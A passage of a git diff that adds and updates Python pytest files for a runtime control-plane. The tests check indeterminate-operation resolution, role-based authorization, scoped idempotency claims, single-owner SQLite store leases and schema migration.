test_runtime_target_requires_exact_recovery_manifest_component_agreement() -> None: + target = create_stub_target() + capability = RecoveryObservationCapabilities( + name="declared-only", + supported_operation_kinds=frozenset({OperationKind.PROVISIONING}), + ) + declared = replace( + target.manifest, + capabilities=replace(target.manifest.capabilities, recovery_observation=capability), + ) + undeclared_observer = _RecoveryObserver(RuntimeError("not-called")) + + with pytest.raises(ValueError, match="recovery_observer presence"): + replace(target, manifest=declared) + with pytest.raises(ValueError, match="recovery_observer presence"): + replace(target, recovery_observer=undeclared_observer) + + +def test_resolution_creates_fresh_linked_operation_and_unblocks_mutation_without_rewriting_parent() -> None: + parent = _record("parent-1179", run_scope="run:default") + store = _store_with(parent) + control_plane = RuntimeControlPlane(_target(), store=store) + indeterminate = store.load_records()[parent.receipt.operation_id] + blocked_plan = ProvisioningPlan() + + with pytest.raises(RuntimeError, match="indeterminate operation requires resolution"): + control_plane.submit_provisioning(blocked_plan, idempotency_key="blocked-effect") + child_receipt = control_plane.resolve_indeterminate_operation( + parent.receipt.operation_id, + disposition=IndeterminateResolutionDisposition.ACCEPT_CURRENT_SNAPSHOT, + idempotency_key="resolution-child-1179", + identity=_operator(), + ) + + records = store.load_records() + assert records[parent.receipt.operation_id] == indeterminate + child = records[child_receipt.operation_id] + assert child.status.state is OperationState.SUCCEEDED + assert child.status.context.operation_kind is OperationKind.INDETERMINATE_RESOLUTION + assert child.status.context.parent_operation_id == parent.receipt.operation_id + assert child.status.context.run_scope == parent.status.context.run_scope + assert child.idempotency_key == "resolution-child-1179" + assert child.idempotency_key != parent.idempotency_key + assert sum(event.operation_id == child_receipt.operation_id for event in store.read_audit()) == 1 + assert control_plane.submit_provisioning(ProvisioningPlan(), idempotency_key="unblocked-effect").accepted + + +def test_runtime_rejects_a_persisted_operation_from_another_run_scope() -> None: + parent = _record("other-run-parent-1179", run_scope="run:other") + store = _store_with(parent) + target = _target() + with pytest.raises(RuntimeError, match="persisted operation scope does not match"): + RuntimeControlPlane(target, store=store) + + +def test_resolution_retry_is_idempotent_and_already_resolved_parent_rejects_a_new_child() -> None: + parent = _record("retry-parent-1179") + store = _store_with(parent) + control_plane = RuntimeControlPlane(_target(), store=store) + kwargs = { + "disposition": IndeterminateResolutionDisposition.ACCEPT_CURRENT_SNAPSHOT, + "idempotency_key": "retry-child-1179", + "identity": _operator(), + } + + first = control_plane.resolve_indeterminate_operation(parent.receipt.operation_id, **kwargs) + retry = control_plane.resolve_indeterminate_operation(parent.receipt.operation_id, **kwargs) + assert retry.operation_id == first.operation_id + assert set(store.load_records()) == {parent.receipt.operation_id, first.operation_id} + assert sum(event.operation_id == first.operation_id for event in store.read_audit()) == 1 + operator = _operator() + + with pytest.raises(ValueError, match="already resolved"): + control_plane.resolve_indeterminate_operation( + parent.receipt.operation_id, + disposition=IndeterminateResolutionDisposition.ACCEPT_CURRENT_SNAPSHOT, + idempotency_key="next", + identity=operator, + ) + assert store.find_by_idempotency("next") is None + + +def test_participant_subject_scope_is_reauthorized_before_resolution_claim() -> None: + scope = "participant-control:participant.alpha:controller.alpha" + parent = _record("subject-parent-1179", subject_scope=scope) + store = _store_with(parent) + control_plane = RuntimeControlPlane(_target(), store=store) + operator = _operator() + + with pytest.raises(PermissionError): + control_plane.resolve_indeterminate_operation( + parent.receipt.operation_id, + disposition=IndeterminateResolutionDisposition.ACCEPT_CURRENT_SNAPSHOT, + idempotency_key="deny", + identity=operator, + ) + assert store.find_by_idempotency("deny") is None + + allowed = _operator( + subjects=( + ParticipantControlSubjectBinding( + participant_address="participant.alpha", + controller_ref="controller.alpha", + ), + ) + ) + receipt = control_plane.resolve_indeterminate_operation( + parent.receipt.operation_id, + disposition=IndeterminateResolutionDisposition.ACCEPT_CURRENT_SNAPSHOT, + idempotency_key="allow", + identity=allowed, + ) + assert store.load_records()[receipt.operation_id].status.state is OperationState.SUCCEEDED + + +@pytest.mark.parametrize( + "identity", + [ + None, + ControlPlaneIdentity( + identity="backend-1179", + roles=frozenset({ControlPlaneRole.BACKEND}), + target_name="stub", + ), + ControlPlaneIdentity( + identity="auditor-1179", + roles=frozenset({ControlPlaneRole.AUDITOR}), + target_name="stub", + ), + _operator(target_name="other-target"), + ], +) +def test_core_resolution_denial_creates_no_child_claim(identity: ControlPlaneIdentity | None) -> None: + parent = _record("denied-parent-1179") + store = _store_with(parent) + control_plane = RuntimeControlPlane(_target(), store=store) + + with pytest.raises(PermissionError): + control_plane.resolve_indeterminate_operation( + parent.receipt.operation_id, + disposition=IndeterminateResolutionDisposition.ACCEPT_CURRENT_SNAPSHOT, + idempotency_key="denied-child-1179", + identity=identity, + ) + + assert set(store.load_records()) == {parent.receipt.operation_id} + assert store.find_by_idempotency("denied-child-1179") is None + + +def test_http_resolution_is_operator_only_and_returns_stable_errors() -> None: + parent = _record("http-parent-1179") + store = _store_with(parent) + control_plane = RuntimeControlPlane(_target(), store=store) + security = ControlPlaneSecurityConfig( + bearer_tokens={ + "operator-token": _operator(), + "backend-token": ControlPlaneIdentity( + identity="backend-1179", + roles=frozenset({ControlPlaneRole.BACKEND}), + target_name="stub", + ), + } + ) + client = TestClient(create_control_plane_app(control_plane, security=security)) + path = f"/operations/{parent.receipt.operation_id}/resolution" + body = {"disposition": "accept-current-snapshot"} + + denied = client.post( + path, + json=body, + headers={"authorization": "Bearer backend-token", "idempotency-key": "http-denied-child"}, + ) + assert denied.status_code == 403 + assert store.find_by_idempotency("http-denied-child") is None + + accepted = client.post( + path, + json=body, + headers={"authorization": "Bearer operator-token", "idempotency-key": "http-child-1179"}, + ) + assert accepted.status_code == 200 + assert accepted.json()["context"]["parent_operation_id"] == parent.receipt.operation_id + + +def test_http_resolution_refusal_is_indistinguishable_from_an_unknown_operation() -> None: + scope = "participant-control:participant.alpha:controller.alpha" + parent = _record("hidden-parent-1179", subject_scope=scope) + store = _store_with(parent) + control_plane = RuntimeControlPlane(_target(), store=store) + security = ControlPlaneSecurityConfig(bearer_tokens={"operator-token": _operator()}) + body = {"disposition": "accept-current-snapshot"} + + with TestClient(create_control_plane_app(control_plane, security=security)) as client: + forbidden = client.post( + f"/operations/{parent.receipt.operation_id}/resolution", + json=body, + headers={"authorization": "Bearer operator-token", "idempotency-key": "hidden-child"}, + ) + unknown = client.post( + "/operations/op-unknown/resolution", + json=body, + headers={"authorization": "Bearer operator-token", "idempotency-key": "unknown-child"}, + ) + + assert forbidden.status_code == unknown.status_code == 404 + assert forbidden.json() == unknown.json() + assert store.find_by_idempotency("hidden-child") is None + assert store.read_audit()[-1].reason == "resolution-forbidden" diff --git a/implementations/python/tests/test_issue_1180_snapshot_revision_cas.py b/implementations/python/tests/test_issue_1180_snapshot_revision_cas.py index e209d8e26..39e01aad7 100644 --- a/implementations/python/tests/test_issue_1180_snapshot_revision_cas.py +++ b/implementations/python/tests/test_issue_1180_snapshot_revision_cas.py @@ -28,6 +28,9 @@ SnapshotState, ) from raes_runtime.control_plane_store_local import LocalControlPlaneStore +from raes_runtime.control_plane_store_record_migration import LOCAL_OPERATION_SCHEMA_VERSION + +pytestmark = pytest.mark.control_plane_conformance def _running_record(operation_id: str) -> ControlPlaneOperationRecord: @@ -90,7 +93,15 @@ def revisioned_store( ) -> InMemoryControlPlaneStore | LocalControlPlaneStore: if request.param == "memory": return InMemoryControlPlaneStore() - return LocalControlPlaneStore(tmp_path / "control-plane") + store = LocalControlPlaneStore(tmp_path / "control-plane") + lease = store.admit_runtime(target_scope="target:stub", run_scope="run:test") + + def close_store() -> None: + store.close() + lease.close() + + request.addfinalizer(close_store) + return store def test_snapshot_state_rejects_non_revision_values() -> None: @@ -380,10 +391,13 @@ def test_runtime_stale_terminal_conflict_discards_candidate_without_recovery_or_ def test_local_store_migrates_v2_snapshot_to_revision_zero_without_payload_change(tmp_path: Path) -> None: store_path = tmp_path / "control-plane" store = LocalControlPlaneStore(store_path) + lease = store.admit_runtime(target_scope="target:stub", run_scope="run:test") store.save_snapshot( RuntimeSnapshot(metadata={"portable": "unchanged"}), expected_revision=0, ) + store.close() + lease.close() database_path = store_path / "control-plane.sqlite3" with sqlite3.connect(database_path) as connection: payload_before = connection.execute("SELECT payload FROM state WHERE key='runtime-snapshot'").fetchone()[0] @@ -394,24 +408,32 @@ def test_local_store_migrates_v2_snapshot_to_revision_zero_without_payload_chang connection.execute("UPDATE metadata SET value='2' WHERE key='schema-version'") migrated = LocalControlPlaneStore(store_path) + migrated_lease = migrated.admit_runtime(target_scope="target:stub", run_scope="run:test") assert migrated.load_snapshot_state() == SnapshotState( snapshot=RuntimeSnapshot(metadata={"portable": "unchanged"}), revision=0, ) with sqlite3.connect(database_path) as connection: - assert connection.execute("SELECT value FROM metadata WHERE key='schema-version'").fetchone() == ("3",) + assert connection.execute("SELECT value FROM metadata WHERE key='schema-version'").fetchone() == ( + LOCAL_OPERATION_SCHEMA_VERSION, + ) assert connection.execute("SELECT payload FROM state WHERE key='runtime-snapshot'").fetchone() == ( payload_before, ) + migrated.close() + migrated_lease.close() def test_local_store_rejects_corrupt_provider_revision(tmp_path: Path) -> None: store_path = tmp_path / "control-plane" store = LocalControlPlaneStore(store_path) + lease = store.admit_runtime(target_scope="target:stub", run_scope="run:test") store.save_snapshot(RuntimeSnapshot(), expected_revision=0) with sqlite3.connect(store_path / "control-plane.sqlite3") as connection: connection.execute("UPDATE state SET revision=-1 WHERE key='runtime-snapshot'") with pytest.raises(ValueError, match="snapshot revision"): store.load_snapshot_state() + store.close() + lease.close() diff --git a/implementations/python/tests/test_issue_1181_unified_control_plane_mutations.py b/implementations/python/tests/test_issue_1181_unified_control_plane_mutations.py index 19b9036fb..3374b5101 100644 --- a/implementations/python/tests/test_issue_1181_unified_control_plane_mutations.py +++ b/implementations/python/tests/test_issue_1181_unified_control_plane_mutations.py @@ -42,6 +42,7 @@ mutation_entry, mutation_probe, ) +from raes_runtime.control_plane_recovery import IndeterminateResolutionDisposition from raes_runtime.control_plane_store import ( AuditEvent, ControlPlaneOperationRecord, @@ -53,6 +54,8 @@ from raes_runtime.manager import RuntimeManager from raes_runtime.participant_crossing_egress import ParticipantViewSerialization, serialize_participant_view +pytestmark = pytest.mark.control_plane_conformance + def _context() -> OperationAdmissionContext: return OperationAdmissionContext( @@ -406,7 +409,9 @@ async def exercise() -> None: def store(request: pytest.FixtureRequest, tmp_path: Path) -> InMemoryControlPlaneStore | LocalControlPlaneStore: if request.param == "memory": return InMemoryControlPlaneStore() - return LocalControlPlaneStore(tmp_path / "control-plane") + local_store = LocalControlPlaneStore(tmp_path / "control-plane") + local_store.admit_runtime(target_scope="target:stub", run_scope="run:issue-1181") + return local_store @pytest.mark.parametrize( @@ -578,16 +583,18 @@ def __getattr__(self, name: str) -> object: RuntimeControlPlane(target, store=legacy_store) # type: ignore[arg-type] -def test_restart_preserves_running_claim_for_governed_recovery() -> None: +def test_restart_terminalizes_running_claim_through_governed_recovery() -> None: store = InMemoryControlPlaneStore() running = _running_record("interrupted-operation") store.claim_record(running) - control_plane = RuntimeControlPlane(create_stub_target(), store=store) + control_plane = RuntimeControlPlane(create_stub_target(), store=store, run_scope="run:issue-1181") - assert store.load_records()[running.receipt.operation_id] == running - assert control_plane.get_operation(running.receipt.operation_id) == running.status - assert store.read_audit() == [] + recovered = store.load_records()[running.receipt.operation_id] + assert recovered.status.state is OperationState.INDETERMINATE + assert control_plane.get_operation(running.receipt.operation_id) == recovered.status + assert store.find_by_idempotency(running.idempotency_key) == recovered + assert [event.reason for event in store.read_audit()] == ["operation-indeterminate"] assert not hasattr(store, "reconcile_interrupted_records") @@ -601,6 +608,7 @@ def test_mutating_control_plane_entries_declare_their_operation_kind() -> None: "initialize_participant_episode", "reconcile_workflow_timeouts", "record_participant_control", + "resolve_indeterminate_operation", "reset_participant_episode", "restart_participant_episode", "submit_evaluation", @@ -678,6 +686,25 @@ def test_accepted_workflow_cancellation_reaches_the_shared_authority() -> None: ) +def test_accepted_indeterminate_resolution_reaches_the_shared_authority() -> None: + store = InMemoryControlPlaneStore() + parent = _running_record("indeterminate-parent-1181") + store.claim_record(parent) + control_plane = RuntimeControlPlane(create_stub_target(), store=store, run_scope="run:issue-1181") + assert store.load_records()[parent.receipt.operation_id].status.state is OperationState.INDETERMINATE + + _assert_requests_mutation_reservation( + control_plane, + lambda: control_plane.resolve_indeterminate_operation( + parent.receipt.operation_id, + disposition=IndeterminateResolutionDisposition.ACCEPT_CURRENT_SNAPSHOT, + idempotency_key="resolution-1181", + identity=identity(), + ), + OperationKind.INDETERMINATE_RESOLUTION, + ) + + def test_accepted_participant_action_and_control_entries_reach_the_shared_authority() -> None: control_plane = RuntimeControlPlane(create_stub_target()) @@ -752,9 +779,19 @@ def __getattr__(self, name: str) -> object: def control_execution(self, *_args: object) -> object: raise AssertionError("the admission probe must stop before backend execution") - target = create_stub_target() + from implementations.python.tests.test_dsl_437_benign_participant_execution import ( + _autonomous_manifest, + _compiled, + _NativeParticipantRuntime, + ) + + runtime_model, _policy = _compiled() control_plane = RuntimeControlPlane( - replace(target, participant_runtime=ExecutionControlRuntime(target.participant_runtime)), # type: ignore[arg-type] + replace( + create_stub_target(), + manifest=_autonomous_manifest(runtime_model), + participant_runtime=ExecutionControlRuntime(_NativeParticipantRuntime()), # type: ignore[arg-type] + ) ) request = ParticipantExecutionControlRequestModel( execution_scope_ref="participant.execution.issue-1181", diff --git a/implementations/python/tests/test_issue_1182_operation_lifecycle_contract.py b/implementations/python/tests/test_issue_1182_operation_lifecycle_contract.py index b46810933..69835b1ed 100644 --- a/implementations/python/tests/test_issue_1182_operation_lifecycle_contract.py +++ b/implementations/python/tests/test_issue_1182_operation_lifecycle_contract.py @@ -40,9 +40,12 @@ from raes_runtime.control_plane_store_local import LocalControlPlaneStore from raes_runtime.control_plane_store_records import _record_from_payload, _record_payload +pytestmark = pytest.mark.control_plane_conformance + _LEGAL_TRANSITIONS = { (OperationState.ACCEPTED, OperationState.RUNNING), (OperationState.ACCEPTED, OperationState.CANCELLED), + (OperationState.ACCEPTED, OperationState.INDETERMINATE), (OperationState.RUNNING, OperationState.SUCCEEDED), (OperationState.RUNNING, OperationState.FAILED), (OperationState.RUNNING, OperationState.CANCELLED), @@ -408,7 +411,7 @@ def test_idempotency_binds_semantic_commitment_not_transport_fingerprint() -> No assert representation_retry == first changed_plan = ProvisioningPlan(operation_id="semantic-two") - with pytest.raises(ValueError, match="different request body"): + with pytest.raises(ValueError, match="idempotency claim conflicts with the original request"): control_plane.submit_provisioning( changed_plan, idempotency_key="semantic-1182", @@ -419,12 +422,12 @@ def test_idempotency_binds_semantic_commitment_not_transport_fingerprint() -> No roles=frozenset({ControlPlaneRole.OPERATOR}), target_name="stub", ) - with pytest.raises(ValueError, match="different request body"): - control_plane.submit_provisioning( - first_plan, - idempotency_key="semantic-1182", - identity=different_actor, - ) + actor_scoped = control_plane.submit_provisioning( + first_plan, + idempotency_key="semantic-1182", + identity=different_actor, + ) + assert actor_scoped.operation_id != first.operation_id control_plane.close() @@ -446,7 +449,7 @@ def test_plan_idempotency_binds_explicit_base_snapshot(method_name: str, plan: o exact_retry = submit(plan, base_snapshot=first_snapshot, idempotency_key="snapshot-key") assert exact_retry == first - with pytest.raises(ValueError, match="different request body"): + with pytest.raises(ValueError, match="idempotency claim conflicts with the original request"): submit(plan, base_snapshot=changed_snapshot, idempotency_key="snapshot-key") control_plane.close() @@ -517,22 +520,9 @@ def credential_plan(value: str) -> ProvisioningPlan: assert persisted is not None assert persisted.request_fingerprint == first_context.request_commitment assert persisted.request_fingerprint != first_exact - assert ( - control_plane._idempotent_receipt( - idempotency_key=record.idempotency_key, - request_fingerprint=first_context.request_commitment, - context=first_context, - exact_retry_fingerprint=first_exact, - ) - == record.receipt - ) + assert control_plane._claim_record(record, exact_retry_fingerprint=first_exact) == record with pytest.raises(ValueError, match="sensitive retry proof"): - control_plane._idempotent_receipt( - idempotency_key=record.idempotency_key, - request_fingerprint=second_context.request_commitment, - context=second_context, - exact_retry_fingerprint=second_exact, - ) + control_plane._claim_record(record, exact_retry_fingerprint=second_exact) control_plane.close() @@ -571,6 +561,7 @@ def test_sensitive_retry_proof_is_not_persisted_and_fails_closed_after_restart(t first.close() persisted = LocalControlPlaneStore(store_path) + lease = persisted.admit_runtime(target_scope="target:stub", run_scope="run:default") with persisted._connection() as connection: request_fingerprint, payload = connection.execute( "SELECT request_fingerprint, payload FROM operations WHERE operation_id=?", @@ -579,13 +570,15 @@ def test_sensitive_retry_proof_is_not_persisted_and_fails_closed_after_restart(t assert request_fingerprint == context.request_commitment assert exact not in payload assert "fixture-restart-proof" not in payload - - restarted = RuntimeControlPlane(create_stub_target(), store=persisted) + persisted.close() + lease.close() + + restarted = RuntimeControlPlane(create_stub_target(), store=LocalControlPlaneStore(store_path)) + retry = replace( + record, + receipt=replace(record.receipt, operation_id="restart-sensitive-retry"), + status=replace(record.status, operation_id="restart-sensitive-retry"), + ) with pytest.raises(ValueError, match="sensitive retry proof"): - restarted._idempotent_receipt( - idempotency_key=record.idempotency_key, - request_fingerprint=context.request_commitment, - context=context, - exact_retry_fingerprint=exact, - ) + restarted._claim_record(retry, exact_retry_fingerprint=exact) restarted.close() diff --git a/implementations/python/tests/test_issue_1183_store_ownership_leases.py b/implementations/python/tests/test_issue_1183_store_ownership_leases.py new file mode 100644 index 000000000..aa63e873d --- /dev/null +++ b/implementations/python/tests/test_issue_1183_store_ownership_leases.py @@ -0,0 +1,319 @@ +"""CP-5 single-owner store admission and immutable scope tests.""" + +from __future__ import annotations + +import os +import sqlite3 +from concurrent.futures import ThreadPoolExecutor +from dataclasses import replace +from multiprocessing import get_context +from pathlib import Path +from threading import Event +from time import monotonic, sleep +from types import SimpleNamespace + +import pytest +from raes_backend_stubs.stubs import create_stub_target +from raes_contracts.planning import EvaluationPlan +from raes_contracts.runtime_state import RuntimeSnapshot +from raes_runtime import control_plane_store_local as local_store_module +from raes_runtime.control_plane import RuntimeControlPlane +from raes_runtime.control_plane_api import create_control_plane_app +from raes_runtime.control_plane_store_local import LocalControlPlaneStore +from raes_runtime.control_plane_store_memory import InMemoryControlPlaneStore +from starlette.testclient import TestClient + +pytestmark = pytest.mark.control_plane_conformance + + +def _competing_runtime_result(store_path: str, queue: object) -> None: + try: + control_plane = RuntimeControlPlane( + create_stub_target(), + store=LocalControlPlaneStore(Path(store_path)), + ) + except RuntimeError as exc: + queue.put(str(exc)) # type: ignore[attr-defined] + return + control_plane.close() + queue.put("acquired") # type: ignore[attr-defined] + + +def test_local_store_constructor_is_inert_until_runtime_admission(tmp_path: Path) -> None: + store_path = tmp_path / "control-plane" + + store = LocalControlPlaneStore(store_path) + + assert not store_path.exists() + with pytest.raises(RuntimeError, match="runtime admission"): + store.load_snapshot() + + +def test_runtime_admission_binds_and_reopens_one_immutable_scope(tmp_path: Path) -> None: + store_path = tmp_path / "control-plane" + target = create_stub_target() + + first = RuntimeControlPlane(target, store=LocalControlPlaneStore(store_path), run_scope="run:first") + first.close() + + with sqlite3.connect(store_path / "control-plane.sqlite3") as connection: + assert dict( + connection.execute("SELECT key, value FROM metadata WHERE key IN ('target-scope', 'run-scope')").fetchall() + ) == {"target-scope": f"target:{target.name}", "run-scope": "run:first"} + + reopened = RuntimeControlPlane(target, store=LocalControlPlaneStore(store_path), run_scope="run:first") + reopened.close() + + second_run_store = LocalControlPlaneStore(store_path) + with pytest.raises(RuntimeError, match="scope does not match"): + RuntimeControlPlane(target, store=second_run_store, run_scope="run:second") + + other_target = replace(target, name="other") + other_target_store = LocalControlPlaneStore(store_path) + with pytest.raises(RuntimeError, match="scope does not match"): + RuntimeControlPlane(other_target, store=other_target_store, run_scope="run:first") + + +def test_scope_mismatch_fails_before_schema_migration( + tmp_path: Path, + monkeypatch: pytest.MonkeyPatch, +) -> None: + store_path = tmp_path / "control-plane" + owner = RuntimeControlPlane( + create_stub_target(), + store=LocalControlPlaneStore(store_path), + run_scope="run:first", + ) + owner.close() + monkeypatch.setattr( + local_store_module, + "migrate_sqlite_schema", + lambda *_args, **_kwargs: pytest.fail("scope mismatch must precede schema migration"), + ) + + target = create_stub_target() + mismatched_store = LocalControlPlaneStore(store_path) + with pytest.raises(RuntimeError, match="scope does not match"): + RuntimeControlPlane(target, store=mismatched_store, run_scope="run:second") + + +def test_unscoped_store_is_adopted_once_and_partial_scope_fails_closed(tmp_path: Path) -> None: + unscoped_path = tmp_path / "unscoped" + unscoped_path.mkdir(mode=0o700) + unscoped_database = unscoped_path / "control-plane.sqlite3" + with sqlite3.connect(unscoped_database) as connection: + connection.execute("CREATE TABLE metadata (key TEXT PRIMARY KEY, value TEXT NOT NULL)") + if os.name != "nt": + unscoped_database.chmod(0o600) + + adopted = RuntimeControlPlane( + create_stub_target(), + store=LocalControlPlaneStore(unscoped_path), + run_scope="run:adopted", + ) + adopted.close() + with sqlite3.connect(unscoped_database) as connection: + assert dict( + connection.execute("SELECT key, value FROM metadata WHERE key IN ('target-scope', 'run-scope')").fetchall() + ) == {"target-scope": "target:stub", "run-scope": "run:adopted"} + + partial_path = tmp_path / "partial" + partial_path.mkdir(mode=0o700) + partial_database = partial_path / "control-plane.sqlite3" + with sqlite3.connect(partial_database) as connection: + connection.execute("CREATE TABLE metadata (key TEXT PRIMARY KEY, value TEXT NOT NULL)") + connection.execute("INSERT INTO metadata(key, value) VALUES ('target-scope', 'target:stub')") + if os.name != "nt": + partial_database.chmod(0o600) + + target = create_stub_target() + partial_store = LocalControlPlaneStore(partial_path) + with pytest.raises(RuntimeError, match="scope metadata is incomplete"): + RuntimeControlPlane(target, store=partial_store, run_scope="run:adopted") + + +def test_duplicate_scope_metadata_fails_closed_before_store_reads(tmp_path: Path) -> None: + store_path = tmp_path / "duplicate" + store_path.mkdir(mode=0o700) + database = store_path / "control-plane.sqlite3" + with sqlite3.connect(database) as connection: + connection.execute("CREATE TABLE metadata (key TEXT NOT NULL, value TEXT NOT NULL)") + connection.executemany( + "INSERT INTO metadata(key, value) VALUES (?, ?)", + ( + ("target-scope", "target:stub"), + ("target-scope", "target:other"), + ("run-scope", "run:default"), + ), + ) + if os.name != "nt": + database.chmod(0o600) + + target = create_stub_target() + duplicate_store = LocalControlPlaneStore(store_path) + with pytest.raises(RuntimeError, match="scope metadata contains duplicate keys"): + RuntimeControlPlane(target, store=duplicate_store) + + +@pytest.mark.integration +def test_second_process_fails_before_accessing_the_owned_store(tmp_path: Path) -> None: + store_path = tmp_path / "control-plane" + owner = RuntimeControlPlane(create_stub_target(), store=LocalControlPlaneStore(store_path)) + context = get_context("spawn") + queue = context.Queue() + process = context.Process(target=_competing_runtime_result, args=(str(store_path), queue)) + process.start() + process.join(timeout=15) + if process.is_alive(): + process.terminate() + process.join(timeout=5) + try: + assert process.exitcode == 0 + assert "exactly one worker" in queue.get(timeout=2) + finally: + owner.close() + + +def test_request_run_scope_cannot_widen_the_admitted_store_scope(tmp_path: Path) -> None: + control_plane = RuntimeControlPlane( + create_stub_target(), + store=LocalControlPlaneStore(tmp_path / "control-plane"), + run_scope="run:admitted", + ) + request = EvaluationPlan(run_id="different") + + try: + with pytest.raises(ValueError, match="run scope does not match"): + control_plane.submit_evaluation(request) + finally: + control_plane.close() + + +class _OrderedCloseStore(InMemoryControlPlaneStore): + def __init__(self, events: list[str], *, fail_close: bool = False) -> None: + super().__init__() + self.events = events + self.fail_close = fail_close + self.lease = SimpleNamespace( + closed=False, + assert_owner=lambda: None, + ) + + def close_lease() -> None: + self.lease.closed = True + self.events.append("lease-close") + + self.lease.close = close_lease + + def admit_runtime(self, *, target_scope: str, run_scope: str) -> object: + self.events.append(f"admit:{target_scope}:{run_scope}") + return self.lease + + def close(self) -> None: + self.events.append("provider-close") + if self.fail_close: + raise RuntimeError("provider close failed") + + +def test_runtime_closes_provider_before_releasing_lease() -> None: + events: list[str] = [] + control_plane = RuntimeControlPlane(create_stub_target(), store=_OrderedCloseStore(events)) + + control_plane.close() + + assert events[-2:] == ["provider-close", "lease-close"] + + +def test_provider_close_failure_retains_lease_and_poison_runtime() -> None: + events: list[str] = [] + store = _OrderedCloseStore(events, fail_close=True) + control_plane = RuntimeControlPlane(create_stub_target(), store=store) + + with pytest.raises(RuntimeError, match="provider close failed"): + control_plane.close() + + assert store.lease.closed is False + with pytest.raises(RuntimeError, match="requires restart"): + control_plane.get_snapshot() + + +def test_concurrent_close_callers_do_not_deadlock_after_provider_failure() -> None: + active_call_entered = Event() + release_active_call = Event() + close_calls = 0 + + class _FailedCloseStore(_OrderedCloseStore): + def close(self) -> None: + nonlocal close_calls + close_calls += 1 + raise RuntimeError("provider close failed") + + control_plane = RuntimeControlPlane(create_stub_target(), store=_FailedCloseStore([])) + + def hold_runtime_call() -> None: + with control_plane._runtime_call(): + active_call_entered.set() + assert release_active_call.wait(timeout=5) + + def wait_for_close_waiters(expected: int) -> None: + deadline = monotonic() + 5 + while len(getattr(control_plane._lifecycle_condition, "_waiters", ())) < expected: + if monotonic() >= deadline: + pytest.fail(f"expected {expected} concurrent close waiters") + sleep(0.001) + + with ThreadPoolExecutor(max_workers=3) as executor: + active_call = executor.submit(hold_runtime_call) + assert active_call_entered.wait(timeout=5) + first = executor.submit(control_plane.close) + wait_for_close_waiters(1) + second = executor.submit(control_plane.close) + wait_for_close_waiters(2) + release_active_call.set() + active_call.result(timeout=5) + for result in (first, second): + with pytest.raises(RuntimeError, match="provider close failed"): + result.result(timeout=5) + + assert close_calls == 2 + + +@pytest.mark.parametrize("target_name", ["", "x" * 250]) +def test_invalid_target_name_is_rejected_before_store_admission(tmp_path: Path, target_name: str) -> None: + store_path = tmp_path / "control-plane" + target = replace(create_stub_target(), name=target_name) + store = LocalControlPlaneStore(store_path) + + with pytest.raises(ValueError, match="runtime target name"): + RuntimeControlPlane(target, store=store) + + assert not store_path.exists() + + +def test_control_plane_api_lifespan_closes_the_owned_runtime() -> None: + control_plane = RuntimeControlPlane(create_stub_target()) + + with TestClient(create_control_plane_app(control_plane)): + assert control_plane.get_snapshot().snapshot == RuntimeSnapshot() + + with pytest.raises(RuntimeError, match="closed"): + control_plane.get_snapshot() + + +def test_control_plane_api_rejects_multiple_workers( + monkeypatch: pytest.MonkeyPatch, +) -> None: + monkeypatch.setenv("WEB_CONCURRENCY", "2") + control_plane = RuntimeControlPlane(create_stub_target()) + + with pytest.raises(RuntimeError, match="exactly one worker"): + create_control_plane_app(control_plane) + + control_plane.close() + + +@pytest.mark.parametrize("run_scope", ["default", "run:", "run:contains space"]) +def test_control_plane_rejects_non_normalized_or_invalid_run_scope(run_scope: str) -> None: + target = create_stub_target() + with pytest.raises(ValueError, match="run_scope|run_id"): + RuntimeControlPlane(target, run_scope=run_scope) diff --git a/implementations/python/tests/test_issue_1184_atomic_idempotency_claims.py b/implementations/python/tests/test_issue_1184_atomic_idempotency_claims.py new file mode 100644 index 000000000..8fa6b13e4 --- /dev/null +++ b/implementations/python/tests/test_issue_1184_atomic_idempotency_claims.py @@ -0,0 +1,452 @@ +"""CP-7 atomic, scoped idempotency and authoritative-read regressions.""" + +from __future__ import annotations + +import sqlite3 +from concurrent.futures import ThreadPoolExecutor +from dataclasses import replace +from threading import Barrier + +import pytest +import raes_runtime.control_plane as control_plane_module +from raes_backend_stubs.stubs import create_stub_target +from raes_contracts.canonical import canonical_json_digest +from raes_contracts.diagnostics import Diagnostic +from raes_contracts.planning import ProvisioningPlan, RuntimeDomain +from raes_contracts.runtime_state import ( + OperationAdmissionContext, + OperationKind, + OperationReceipt, + OperationState, + OperationStatus, + RuntimeSnapshot, +) +from raes_contracts.workflow import WorkflowExecutionState, WorkflowStatus +from raes_runtime.control_plane import RuntimeControlPlane +from raes_runtime.control_plane_operation_context import ( + legacy_operation_request_commitment, + operation_admission_context, +) +from raes_runtime.control_plane_security import ControlPlaneIdentity, ControlPlaneRole +from raes_runtime.control_plane_store import ControlPlaneOperationRecord, InMemoryControlPlaneStore +from raes_runtime.control_plane_store_local import LocalControlPlaneStore +from raes_runtime.control_plane_store_local_codec import encode_payload +from raes_runtime.control_plane_store_record_migration import LOCAL_OPERATION_SCHEMA_VERSION +from raes_runtime.control_plane_store_records import _record_payload + +pytestmark = pytest.mark.control_plane_conformance + + +def _context( + *, + actor: str = "operator-a", + kind: OperationKind = OperationKind.PROVISIONING, + commitment: str | None = None, + authorization_scope: tuple[str, ...] = ("role:operator",), + parent_operation_id: str | None = None, +) -> OperationAdmissionContext: + return OperationAdmissionContext( + actor_id=actor, + authorization_scope=authorization_scope, + target_scope="target:stub", + run_scope="run:default", + operation_kind=kind, + request_commitment=commitment or f"sha256:{'a' * 64}", + parent_operation_id=parent_operation_id, + ) + + +def _record( + operation_id: str, + *, + context: OperationAdmissionContext | None = None, + key: str = "shared-key", + result_payload: dict[str, object] | None = None, +) -> ControlPlaneOperationRecord: + operation_context = context or _context() + receipt = OperationReceipt( + operation_id=operation_id, + domain=RuntimeDomain.PROVISIONING, + submitted_at="2026-09-18T10:00:00Z", + accepted=True, + context=operation_context, + ) + status = OperationStatus( + operation_id=operation_id, + domain=receipt.domain, + state=OperationState.RUNNING, + submitted_at=receipt.submitted_at, + updated_at=receipt.submitted_at, + context=operation_context, + ) + return ControlPlaneOperationRecord( + receipt=receipt, + status=status, + request_fingerprint=operation_context.request_commitment, + idempotency_key=key, + result_payload=result_payload, + ) + + +@pytest.fixture(params=("memory", "local")) +def admitted_store(request: pytest.FixtureRequest, tmp_path): + if request.param == "memory": + yield InMemoryControlPlaneStore() + return + store = LocalControlPlaneStore(tmp_path / "control-plane-store") + lease = store.admit_runtime(target_scope="target:stub", run_scope="run:default") + try: + yield store + finally: + store.close() + lease.close() + + +def test_atomic_claim_is_scoped_by_actor_and_operation_kind(admitted_store) -> None: + barrier 